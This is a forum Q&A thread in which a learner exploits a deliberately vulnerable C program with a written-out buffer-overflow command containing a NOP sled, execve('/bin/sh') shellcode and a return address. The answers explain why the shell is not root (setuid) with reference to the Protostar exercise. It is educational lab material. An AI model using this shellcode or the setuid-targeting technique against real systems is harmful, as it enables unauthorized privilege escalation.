Run shellcode as root in a buffer overflow attack?
I’m trying to exploit the following code:
#include <stdio.h>
#include <string.h>
int main(int argc, char** argv){
char buffer[100];
strcpy(buffer, argv[1]);
return 0;
}
with the following command
./vuln $(python -c "import sys; sys.stdout.buffer.write(b'x90'*60 + b'x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x89xc1x89xc2xb0x0bxcdx80x31xc0x40xcdx80' + b'x40xd6xffxff'*6)")
The first part is the NOPs, the second part is the shell code
I took from this website, and it should just execve("/bin/sh").
The last part is the return address.
My program is compiled for a 32-bit system,
and with all protection mechanisms disabled.
When I run my script, I get
process 15377 is executing new program: /usr/bin/bash
meaning bash is being run as the current user and not as root.
Where can I find a shell code that runs a shell as root?
Do I have to disable any Linux feature that prevents this?
When I run whoami I get the current user and not root.
In this “First Exploit! Buffer Overflow with Shellcode – bin 0x0E” video the same script is used, and root access is granted.
When I run my script, I get process 15377 is executing new program: /usr/bin/bash, meaning bash is being run as the current user and not as root.
Yeah, that’s how the idea "user" works: you run a program, so it’s run as the current user.
There’s the setuid bit, a file property that you can give an executable file to make it always run as the owner of the file (possibly root) instead of the current user. For logical reasons, you can only add that bit to a file if you’re already root (otherwise, not being root would be meaningless – you could always elevate your privileges by assigning the setuid bit to your copy of the bash executable, for example).
Do I have to disable any Linux feature that prevents this.
That’s not a specific feature, that is just literally what the idea of "user" is since the 1970s UNIX.
You can see in that guy’s id output that the group is root, but the effective group isn’t. So, the vulnerable file was already run with setuid/setgid bits set! Check the file’s properties (ls -l /…/stack-five), and you’ll see the s bit being set.
So, there was absolutely no escalation of any process’s privileges – they were already there from the beginning, but now you can abuse the process to make use of them.
No, you can’t just log in as yourself and do stuff
and get a root shell (escalate privileges).
(Unless you discover a vulnerability in the kernel.)
What you (theoretically) can do
is attack a process that’s already running as root.
So you might be able to get a root shell
if you run your vuln program under sudo,
or if you chown it to root and turn on the setUID bit.
This might seem like cheating,
but you’re simulating attacking a vulnerable system program.
It’s not evident from the First Exploit! Buffer Overflow with Shellcode
– bin 0x0E video that you linked to,
but the only way it can work
(the only way it can get the results it shows)
is if, as Marcus Müller says,
the /opt/protostar/bin/stack5 program is setUID to root.
I was able to find this statement:
But despite the stack5 binary being owned by root,
and having the setuid bit set, its not a root shell.
at Exploit Exercises – Protostar – Stack5 / Our First Exploit
at Failing Silently.
There’s a gotcha: executing a shell as root
might not give you a root shell.
I invite and encourage you to research that.
If you want to be more than a “script kiddie”,
you need to learn how to research stuff.
But here’s a bread crumb for you: try changing your “shell code”
so it executes /bin/id directly instead of executing /bin/sh.
It might show that you’ve obtained root,
even if you can’t get a root shell.